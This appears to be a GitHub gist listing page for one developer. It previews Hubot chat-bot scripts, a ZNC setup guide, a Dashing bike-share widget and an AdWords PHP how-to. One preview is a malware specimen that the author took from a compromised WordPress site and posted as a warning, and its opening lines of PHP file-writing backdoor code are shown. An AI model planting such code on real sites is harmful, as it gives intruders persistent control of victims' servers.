Skip to content

Instantly share code, notes, and snippets.

@stephenyeargin
stephenyeargin / v201402_pseudo_namespaces.md
Last active August 29, 2015 14:03
Instructions of how to patch the googlesads-php-lib to work with with pseudo namespaces

HOWTO: Create a pseudo-namespaced version of the AdWords PHP library for v201402

History

While it is an ongoing project, the PHP library for AdWords does not yet fully make use of proper namespacing througout. Until that is complete, it may be advisable to use a "psedudo namespaced" version that simply prepends a bit of data to class names. Note that if you do it this way, you will want to use this format for creating objects. It's also a better practice anyway.

// Old
$tracker = new AdWordsConversionTracker();
@stephenyeargin
stephenyeargin / fitbit.coffee
Created June 12, 2014 04:39
Fitbit script for Hubot
# Description:
# Fitbit leaderboards
#
# Dependencies:
# "fibit-js": "0.2.0"
#
# Configuration:
# FITBIT_CLIENT_ID
# FITBIT_CLIENT_SECRET
# FITBIT_OAUTH_TOKEN
@stephenyeargin
stephenyeargin / untappd.coffee
Last active August 29, 2015 14:01
Use Untappd with hubot to ask about beers. Register a 'bot' account and do the OAuth2 handshake to have a share recent beers with friends.
# Description:
# Untappd data directly from hubot
#
# Requires:
# "node-untappd": "~0.2.0"
# "moment": "~2.5.0"
#
# Configuration:
# UNTAPPD_API_KEY - Your Untappd API Key
# UNTAPPD_API_SECRET - Your Untappd API Secret
@stephenyeargin
stephenyeargin / gist:10192821
Last active August 29, 2015 13:58
Specimen from a WordPress site of mine that was compromised. If you come across this via search, you need to check your file permissions and change your passwords.
<?php
header("Content-type: text/plain");
print "2842123700\n";
if (! function_exists('file_put_contents')) {
function file_put_contents($filename, $data) {
$f = @fopen($filename, 'w');
if (! $f)
return false;
# Description:
# Integrate with GitHub deployment API
#
# Dependencies:
# "githubot": "0.4.x"
#
# Configuration:
# HUBOT_GITHUB_TOKEN - GitHub API token. Required to perform authenticated actions.
# HUBOT_GITHUB_API - (optional) The base API URL. This is useful for Enterprise Github installations. Omit if not used.
# HUBOT_GITHUB_USER - Default GitHub username to use if one is not given.
@stephenyeargin
stephenyeargin / hubot-and-znc.md
Last active January 3, 2016 12:49
Hubot and ZNC. This is a quick set of tips on how to set up your Hubot to connect through ZNC to your IRC server (freenode, self hosted, etc.). It assumes you already know a bit about ZNC and configuring a Hubot.

This was a bit of a trick to get set up, so here it is for anyone who comes across it in search results.

ZNC User Account

  • Set up the account as usual (note the username and password)
  • Set the defualt buffer size to 0. Every time the bot reconnects after a crash, it would try to respond to the commands it hear or respond in the buffer, and might crash it again.
  • Go ahead and define a network and channel for your bot. Note the network name.
  • You should now see a "ghost" for your hubot connected.
  • Look at the ZNC user list. The hubot user will show 1 network, but 0 clients.
@stephenyeargin
stephenyeargin / nashville-pollen.coffee
Last active February 16, 2017 15:33
NashvillePollen hubot script.
# Description
# Get pollen forecast for Nashville, Tennessee
#
# Dependencies:
# None
#
# Configuration:
# None
#
# Commands:
@stephenyeargin
stephenyeargin / README.md
Last active February 15, 2018 21:14
Add B-cycle widgets to your Dashing dashboard.

B-cycle Widget

Screenshot

B-cycle is a bike sharing service that operates in several American cities. More information at their website. This widget allows you to use the station ID in a widget to get the current count of bikes and docks available to show on your Dashing dashboard.

Demo

A demo repository is available on GitHub and here is a live Dashboard on Heroku.

@stephenyeargin
stephenyeargin / bender.coffee
Created August 10, 2012 04:52
Turn your Hubot into Bender
# Description:
# Turn your Hubot into Bender
#
# Dependencies:
# None
#
# Configuration:
# None
#
# Commands:
@stephenyeargin
stephenyeargin / echo.coffee
Created August 10, 2012 03:03
Allows hubot to repeat what is in a private message (through IRC adapter)
# Description:
# Allows hubot to repeat what is in a private message (through IRC adapter)
#
# Dependencies:
# hubot-irc
#
# Configuration:
# None
#
# Commands: